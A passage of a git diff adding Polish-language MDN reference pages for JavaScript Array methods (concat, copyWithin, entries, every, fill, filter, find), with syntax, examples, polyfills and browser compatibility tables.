id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_dw.C3.B3ch_tablic" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_dw.C3.B3ch_tablic">Przykład: Połączenie dwóch tablic</h3> + +<p>Następujący kod łączy dwie tablice:</p> + +<pre class="brush: js">alpha = new Array("a", "b", "c"); +numeric = new Array(1, 2, 3); +alphaNumeric = alpha.concat(numeric); // tworzy tablicę ["a", "b", "c", 1, 2, 3] +</pre> + +<h3 id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_trzech_tablic" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_trzech_tablic">Przykład: Połączenie trzech tablic</h3> + +<p>Następujący kod łączy trzy tablice:</p> + +<pre class="brush: js">num1 = [1, 2, 3]; +num2 = [4, 5, 6]; +num3 = [7, 8, 9]; +nums = num1.concat(num2,num3) // tworzy tablicę [1, 2, 3, 4, 5, 6, 7, 8, 9] +</pre> + +<h3 id="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_warto.C5.9Bci_z_tablic.C4.85" name="Przyk.C5.82ad:_Po.C5.82.C4.85czenie_warto.C5.9Bci_z_tablic.C4.85">Przykład: Połączenie wartości z tablicą</h3> + +<p>Następujący kod łączy trzy wartości z tablicą:</p> + +<pre class="brush: js">alpha = ['a', 'b', 'c']; +alphaNumeric = alpha.concat(1, 2, 3); // tworzy tablicę ["a", "b", "c", 1, 2, 3] +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html b/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html new file mode 100644 index 0000000000..1a1917eabd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html @@ -0,0 +1,181 @@ +--- +title: Array.prototype.copyWithin() +slug: Web/JavaScript/Referencje/Obiekty/Array/copyWithin +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Metodă + - Peototyp + - Prototype + - Reference + - Referencja + - Tablica + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>copyWithin()</strong></code> tworzy kopie płytkie części tablicy w innej części tej samej tablicy i zwraca tę tablicę bez modyfikowania jej długości.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><var>arr</var>.copyWithin(<var>cel[, start[, koniec]]</var>) +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>cel</code></dt> + <dd>Indeks (liczony od zera), do którego ma zostać skopiowana sekwencja. Jeśli wartość <code>target</code> będzie ujemna, pozycja będzie liczona od końca tablicy.</dd> + <dd>Jeśli <code>cel</code> jest większy lub równy <code>arr.length</code>, nic nie zostanie skopiowane. Jeśli wartość <code>cel</code> będzie większa niż <code>start</code>, kopiowana sekwencja zostanie przycięta tak, aby pasować do <code>arr.length</code>.</dd> + <dt><code>start</code> {{optional_inline}}</dt> + <dd>Indeks (liczony od zera), określający pozycję początkową sekwencji, która ma zostać skopiowana. Jeśli wartość ta będzie ujemna, <code>start</code> będzie liczony od końca tablicy.</dd> + <dd>Jeśli wartość <code>start</code> nie jest podana, <code>copyWithin</code> skopiuje sekwencję zaczynając od indeksu <code>0</code>. </dd> + <dt><code>koniec</code> {{optional_inline}}</dt> + <dd>Indeks (liczony od zera), określający pozycję końcową sekwencji, która ma zostać skopiowana, z wyłączeniem wartości pod indeksem <code>koniec</code>. Jeśli wartość ta będzie ujemna, <code>koniec</code> będzie liczony od końca tablicy.</dd> + <dd>Jeśli wartość <code>koniec</code> nie jest podana, <code>copyWithin</code> skopiuje sekwencję do ostatniego indeksu (domyślnie do <code>arr.length</code>).</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Zmodyfikowana tablica.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda <code>copyWithin</code> działa jak <code>memmove</code> w C/C++ i jest wysokowydajną metodą przesuwania wartości w obiektach {{jsxref("Array")}}. Dotyczy to szczególnie metody o tej samej nazwie {{jsxref("TypedArray/copyWithin", "TypedArray")}}. Sekwencja jest kopiowana i wklejana w jednej operacji, a wklejona sekwencja będzie zawierać skopiowane wartości nawet wtedy, gdy zakres żródłowy (kopiowania) i docelowy (wklejania) nakładają się na siebie.</p> + +<p>Funkcja <code>copyWithin</code> jest celowo <em>ogólna</em>, nie wymaga, by jej wartość <code>this</code> była obiektem typu {{jsxref("Array")}}.</p> + +<p>Metoda <code>copyWithin</code> jest modyfikowalna. Nie zmienia długości <code>this</code>, ale zmienia zawartość <code>this</code> i tworzy nowe własności, jeśli jest to konieczne.</p> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js notranslate">if (!Array.prototype.copyWithin) { + Object.defineProperty(Array.prototype, 'copyWithin', { + value: function(target, start/*, end*/) { + // Kroki 1-2. + if (this == null) { + throw new TypeError('this is null or not defined'); + } + + var O = Object(this); + + // Kroki 3-5. + var len = O.length >>> 0; + + // Kroki 6-8. + var relativeTarget = target >> 0; + + var to = relativeTarget < 0 ? + Math.max(len + relativeTarget, 0) : + Math.min(relativeTarget, len); + + // Kroki 9-11. + var relativeStart = start >> 0; + + var from = relativeStart < 0 ? + Math.max(len + relativeStart, 0) : + Math.min(relativeStart, len); + + // Kroki 12-14. + var end = arguments[2]; + var relativeEnd = end === undefined ? len : end >> 0; + + var final = relativeEnd < 0 ? + Math.max(len + relativeEnd, 0) : + Math.min(relativeEnd, len); + + // Krok 15. + var count = Math.min(final - from, len - to); + + // Kroki 16-17. + var direction = 1; + + if (from < to && to < (from + count)) { + direction = -1; + from += count - 1; + to += count - 1; + } + + // Krok 18. + while (count > 0) { + if (from in O) { + O[to] = O[from]; + } else { + delete O[to]; + } + + from += direction; + to += direction; + count--; + } + + // Krok 19. + return O; + }, + configurable: true, + writable: true + }); +}</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_copyWithin">Użycie copyWithin</h3> + +<pre class="brush: js notranslate">[1, 2, 3, 4, 5].copyWithin(-2) +// [1, 2, 3, 1, 2] + +[1, 2, 3, 4, 5].copyWithin(0, 3) +// [4, 5, 3, 4, 5] + +[1, 2, 3, 4, 5].copyWithin(0, 3, 4) +// [4, 2, 3, 4, 5] + +[1, 2, 3, 4, 5].copyWithin(-2, -3, -1) +// [1, 2, 3, 3, 4] + +[].copyWithin.call({długość: 5, 3: 1}, 0, 3) +// {0: 1, 3: 1, długość: 5} + +// ES2015 Typowane tablice są podklasami zwykłej tablicy (Array) +var i32a = new Int32Array([1, 2, 3, 4, 5]) + +i32a.copyWithin(0, 2) +// Int32Array [3, 4, 5, 4, 5] + +// Na platformach niewspierających jeszcze ES 2015: +[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4); +// Int32Array [4, 2, 3, 4, 5] +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Array")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/entries/index.html b/files/pl/web/javascript/referencje/obiekty/array/entries/index.html new file mode 100644 index 0000000000..6ff83958f4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/entries/index.html @@ -0,0 +1,77 @@ +--- +title: Array.prototype.entries() +slug: Web/JavaScript/Referencje/Obiekty/Array/entries +translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>entries()</strong></code> zwraca obiekt <code><strong>Iteratora</strong></code> który zawiera parę klucz/wartość dla każdej pozycji w tablicy.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>a</var>.entries()</pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy iterator {{jsxref("Tablicy")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_w_pętli_for…of">Użycie w pętli <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a></h3> + +<pre class="brush:js">var a = ['a', 'b', 'c']; +var iterator = a.entries(); + +for (let e of iterator) { + console.log(e); +} +// [0, 'a'] +// [1, 'b'] +// [2, 'c'] +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_w_przeglądarkach">Kompatybilność w przeglądarkach</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.entries")}}</p> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Array.prototype.keys()")}}</li> + <li>{{jsxref("Array.prototype.values()")}}</li> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/every/index.html b/files/pl/web/javascript/referencje/obiekty/array/every/index.html new file mode 100644 index 0000000000..4b6cb612a2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/every/index.html @@ -0,0 +1,89 @@ +--- +title: Array.prototype.every() +slug: Web/JavaScript/Referencje/Obiekty/Array/every +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/every +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Metoda <span style="line-height: 23.3333339691162px;"> </span><code style="font-style: normal; line-height: 23.3333339691162px;"><strong>every() </strong></code>sprawdza, czy wszystkie elementy w tablicy przechodzą test zrealizowany w postaci dostarczonej funkcji.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.every(<var>callback</var>[, <var>thisArg</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja sprawdzająca dla każdego elementu. Zawiera trzy argumenty.<br> + <strong style="font-family: consolas,monaco,andale mono,monospace; font-weight: bold; line-height: 23.3333339691162px;">currentValue<br> + </strong>Bieżący element przetwarzany w tablicy</dd> + <dt> <strong style="font-family: consolas,monaco,andale mono,monospace; font-weight: bold; line-height: 23.3333339691162px;">index</strong></dt> + <dd> + <p> Indeks bieżacego elementu przetwarzanego w tablicy</p> + + <p> <strong>array</strong><br> + Tablica na której została wywołana funkcja</p> + </dd> + <dt><code>thisObject</code></dt> + <dd>Opcjonalnie. Obiekt, na który będzie wskazywał <code>this</code>, gdy wykonana zostanie funkcja zwrotna <code>callback</code>. </dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>every</code> wykonuje dostarczoną funkcję <code>callback</code> raz dla każdego elementu tablicy do momentu, kiedy znajdzie taki element, dla którego funkcja <code>callback</code> zwróci wartość <code>false</code>. Jeżeli taki element zostanie znaleziony, test zostanie przerwany, a metoda <code>every</code> zwróci wartość <code>false</code>. W przeciwnym wypadku (<code>callback</code> zwraca wartość <code>true</code> dla wszystkich elementów) <code>every</code> zwróci <code>true</code>. Funkcja <code>callback</code> wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.</p> + +<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p> + +<p>Jeśli parametr <code>thisObject</code> został dostarczony do metody <code>every</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji <code>callback</code>. W przypadku, gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p> + +<p>Metoda <code>every</code> nie modyfikuje tablicy, na której jest wywoływana.</p> + +<p>Zakres elementów przetwarzanych przez <code>every</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do tablicy po momencie wywołania <code>every</code> są testowane przez <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>every</code> się o nie zwróci; metoda <code>every</code> nie upomina się o elementy usunięte.</p> + +<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3> + +<p><code>every</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>every</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p> + +<pre class="brush: js">if (!Array.prototype.every) +{ + Array.prototype.every = function(fun /*, thisp*/) + { + var len = this.length; + if (typeof fun != "function") + throw new TypeError(); + + var thisp = arguments[1]; + for (var i = 0; i < len; i++) + { + if (i in this && + !fun.call(thisp, this[i], i, this)) + return false; + } + + return true; + }; +} +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_rozmiaru_wszystkich_element.C3.B3w_tablicy">Przykład: Sprawdzanie rozmiaru wszystkich elementów tablicy</h3> + +<p>Następujący przykład sprawdza, czy wszystkie elementy w tablicy są większe niż 10.</p> + +<pre class="brush: js">function isBigEnough(element, index, array) { + return (element >= 10); +} +passed = [12, 5, 8, 130, 44].every(isBigEnough); +// fałsz +passed = [12, 54, 18, 130, 44].every(isBigEnough); +// prawda +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/array/fill/index.html b/files/pl/web/javascript/referencje/obiekty/array/fill/index.html new file mode 100644 index 0000000000..1ab2ef4719 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/fill/index.html @@ -0,0 +1,185 @@ +--- +title: Array.prototype.fill() +slug: Web/JavaScript/Referencje/Obiekty/Array/fill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>fill() </strong>uzupełnia wszystkie elementy tablicy, zaczynając od indeksu początkowego</code> <strong>(start)</strong> aż po indeks końcowy <strong>(end)</strong> statyczną wartością <strong>(value)</strong>.</p> + +<p>{{EmbedInteractiveExample("pages/js/array-fill.html")}}<br> + Źródło tego przykładu jest przechowywane w repozytorium na GitHub. Jeśli chciałbyś dodać coś od siebie do projektu interaktywnych przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij pull request.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>arr</var>.fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>value</code></dt> + <dd>Wartość, którą wypełniana będzie tablica.</dd> + <dt><code>start</code></dt> + <dd>Opcjonalnie. Indeks początkowy.</dd> + <dt><code>end</code></dt> + <dd>Opcjonalnie. Indeks końcowy.</dd> + <dt> + <h3 id="Wartość_zwracana">Wartość zwracana</h3> + + <p>Zmodyfikowana tablica.</p> + </dt> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Przedział elementów do wypełnienia to: [<code>start</code>, <code>end</code>).</p> + +<p><code>Metoda</code><strong><code> fill</code></strong> przyjmuje do trzech parametrów <code>value</code>, <code>start</code> i <code>end</code>. Argumenty <code>start i</code> <code>end</code> są opcjonalne i przyjmują, odpowiednio, <code>0</code> i długość (<code>length)</code> obiektu <code>this</code>.</p> + +<p>Jeżeli parametr <code>start</code> jest ujemny, jest to traktowane jako <code>length+start</code> gdzie <code>length</code> jest liczbą elementów tablicy. Jeżeli parametr <code>end</code> jest negatywny, jest to traktowane jako <code>length+end</code>. </p> + +<p>Funkcja<strong> fill</strong> została świdomie zaprojektowana jako generyczna, przez co nie wymaga, by wartość <font face="Consolas, Liberation Mono, Courier, monospace">this</font> była obiektem typu Array.</p> + +<p>Metoda<strong> fill </strong>jest zmienna (ang. mutalbe), metoda ta nie zwraca kopii this, a oryginalny obiekt po modyfikacjach.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">[1, 2, 3].fill(4); // [4, 4, 4] +[1, 2, 3].fill(4, 1); // [1, 4, 4] +[1, 2, 3].fill(4, 1, 2); // [1, 4, 3] +[1, 2, 3].fill(4, 1, 1); // [1, 2, 3] +[1, 2, 3].fill(4, -3, -2); // [4, 2, 3] +[1, 2, 3].fill(4, NaN, NaN); // [1, 2, 3] +[].fill.call({ length: 3 }, 4); // {0: 4, 1: 4, 2: 4, length: 3} +//Obiekty przez referencję +var arr = Array(3).fill({}) // [{}, {}, {}]; +arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] +</pre> + +<p> </p> + +<p> </p> + +<h2 id="Polyfill">Polyfill</h2> + +<pre class="brush: js">if (!Array.prototype.fill) { + Array.prototype.fill = function(value) { + + // Steps 1-2. + if (this == null) { + throw new TypeError('this is null or not defined'); + } + + var O = Object(this); + + // Steps 3-5. + var len = O.length >>> 0; + + // Steps 6-7. + var start = arguments[1]; + var relativeStart = start >> 0; + + // Step 8. + var k = relativeStart < 0 ? + Math.max(len + relativeStart, 0) : + Math.min(relativeStart, len); + + // Steps 9-10. + var end = arguments[2]; + var relativeEnd = end === undefined ? + len : end >> 0; + + // Step 11. + var final = relativeEnd < 0 ? + Math.max(len + relativeEnd, 0) : + Math.min(relativeEnd, len); + + // Step 12. + while (k < final) { + O[k] = value; + k++; + } + + // Step 13. + return O; + }; +} +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Definicja początkowa</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Funckjonalność</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatChrome("36")}} [1]</td> + <td>{{CompatGeckoDesktop("31")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari("7.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("31")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8.0</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] The feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("TypedArray.prototype.fill()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/filter/index.html b/files/pl/web/javascript/referencje/obiekty/array/filter/index.html new file mode 100644 index 0000000000..4b18a34c9c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/filter/index.html @@ -0,0 +1,150 @@ +--- +title: Array.prototype.filter() +slug: Web/JavaScript/Referencje/Obiekty/Array/filter +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong>filter()</strong> tworzy nową tablicę z wszystkimi elementami, które przechodzą test określony w postaci funkcji.</p> + +<pre class="brush: js">function isBigEnough(value) { + return value >= 10; +} + +var filtered = [12, 5, 8, 130, 44].filter(isBigEnough); +// filtered is [12, 130, 44] +</pre> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre><var>var newArray = arr</var>.filter(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja sprawdzająca każdy element tablicy. Funkcja powinna zwrócić <code>true,</code> aby zatrzymać element lub <code>false,</code> aby odrzucić element. Funkcja przyjmuje trzy argumenty:</dd> + <dd> + <dl> + <dt><code>element</code></dt> + <dd>Element tablicy do przetworzenia.</dd> + <dt><code>index</code></dt> + <dd>Numer indeksu procesowanego elementu tablicy.</dd> + <dt><code>array</code></dt> + <dd>Tablica na której <code>filter</code> został wywołany.</dd> + </dl> + </dd> + <dt><code>thisArg</code></dt> + <dd>Obiekt na który będzie wskazywał <code>this</code>, przy wywoływaniu funkcji <code>callback</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>filter</code> wykonuje dostarczoną funkcję <code>callback</code> dla każdego elementu tablicy, tworząc nową tablicę z wszystkich tych elementów, dla których funkcja <code>callback</code> zwróciła wartość <code>true</code>. Wynikowa tablica jest zwarta; wartości, które nie przechodzą testu funkcji <code>callback,</code> są zwyczajnie pomijane i nie są przypisywane do indeksów nowej tablicy.</p> + +<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p> + +<p>Jeśli parametr <code>thisObject</code> został dostarczony do metody <code>filter</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji<code>callback</code>. W przypadku gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p> + +<p>Metoda <code>filter</code> nie modyfikuje tablicy, na której jest wywoływana.</p> + +<p>Zakres elementów przetwarzanych przez <code>filter</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do tablicy po momencie wywołania <code>filter</code> są testowane przez <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>filter</code> się o nie zwróci; metoda <code>filter</code> nie upomina się o elementy usunięte.</p> + +<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3> + +<p><code>filter</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>filter</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p> + +<pre class="brush: js">if (!Array.prototype.filter) +{ + Array.prototype.filter = function(fun /*, thisp*/) + { + var len = this.length; + if (typeof fun != "function") + throw new TypeError(); + + var res = new Array(); + var thisp = arguments[1]; + for (var i = 0; i < len; i++) + { + if (i in this) + { + var val = this[i]; // in case fun mutates this + if (fun.call(thisp, val, i, this)) + res.push(val); + } + } + + return res; + }; +} +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Odfiltrowanie_wszystkich_ma.C5.82ych_warto.C5.9Bci" name="Przyk.C5.82ad:_Odfiltrowanie_wszystkich_ma.C5.82ych_warto.C5.9Bci">Przykład: Odfiltrowanie wszystkich małych wartości</h3> + +<p>Poniższy przykład używa <code>filter</code> by utworzyć przefiltrowaną tablicę, z której usunięto wszystkie elementy których wartość wynosi mniej niż 10.</p> + +<pre class="brush: js">function isBigEnough(element, index, array) { + return (element >= 10); +} +filtered = [12, 5, 8, 130, 44].filter(isBigEnough); +</pre> + +<h2 id="Kompatybilność_z_przeglądarkami" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table" style="border-color: transparent;"> + <tbody> + <tr> + <th style="line-height: 16px;">Feature</th> + <th style="line-height: 16px;">Chrome</th> + <th style="line-height: 16px;">Firefox (Gecko)</th> + <th style="line-height: 16px;">Internet Explorer</th> + <th style="line-height: 16px;">Opera</th> + <th style="line-height: 16px;">Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.8")}}</td> + <td>{{CompatIE("9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table" style="border-color: transparent;"> + <tbody> + <tr> + <th style="line-height: 16px;">Feature</th> + <th style="line-height: 16px;">Android</th> + <th style="line-height: 16px;">Chrome for Android</th> + <th style="line-height: 16px;">Firefox Mobile (Gecko)</th> + <th style="line-height: 16px;">IE Mobile</th> + <th style="line-height: 16px;">Opera Mobile</th> + <th style="line-height: 16px;">Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.8")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/javascript/referencje/obiekty/array/find/index.html b/files/pl/web/javascript/referencje/obiekty/array/find/index.html new file mode 100644 index 0000000000..6e8d67373b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/find/index.html @@ -0,0 +1,278 @@ +--- +title: Array.prototype.find() +slug: Web/JavaScript/Referencje/Obiekty/Array/find +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Metodă + - Prototype + - Referencja + - Tablica + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/find +--- +<p>{{JSRef}}<br> + Metoda <strong>find()</strong> zwraca pierwszy element tablicy, który spełnia warunek podanej funkcji testującej.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-find.html","shorter")}}</div> + + + +<ul> + <li>Jeśli potrzebujesz <strong>indeksu</strong> znalezionego elementu w tablicy, użyj {{jsxref("Array.findIndex", "findIndex()")}}.</li> + <li>Jesli potrzebujesz <strong>indeksu wartości</strong>, użyj {{jsxref("Array.prototype.indexOf()")}}. (Jest to podobne do {{jsxref("Array.findIndex", "findIndex()")}}, ale sprawdza każdy element tablicy pod kątem równości z zadaną wartością, zamiast używać funkcji testującej.)</li> + <li>Jeśli chcesz sprawdzić, czy wartość <strong>istnieje</strong> w tablicy, użyj {{jsxref("Array.prototype.includes()")}}. Tutaj także sprawdzana jest równość elementu z zadaną wartością zamiast używania funkcji testującej.</li> + <li>Jeśli chcesz znaleźć dowolny element, który spełnia warunek funkcji testującej, użyj {{jsxref("Array.prototype.some()")}}.</li> +</ul> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox notranslate"><code><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</code></pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><em><code>callback</code></em></dt> + <dd>Funkcja do wykonania przy każdym elemencie tablicy, przyjmująca trzy wartości: + <dl> + <dt><em><code>element</code></em></dt> + <dd>Element obecnie przetwarzany przez funkcję.</dd> + <dt><em><code>index</code></em></dt> + <dd>Indeks obecnie przetwarzanego elementu.</dd> + <dt><em><code>array</code></em></dt> + <dd>Tablica, na której wywołano funkcję <code>find</code>.</dd> + </dl> + </dd> + <dt><em><code>thisArg</code></em></dt> + <dd>Opcjonalny. Obiekt, który będzie się znajdował pod <code>this</code> w czasie wykonywania funkcji <code>callback</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p><strong>Wartość pierwszego elementu</strong> w tablicy, spełniającego warunek funkcji testującej.<br> + W przeciwnym wypadku: {{jsxref("undefined")}}.</p> + +<h2 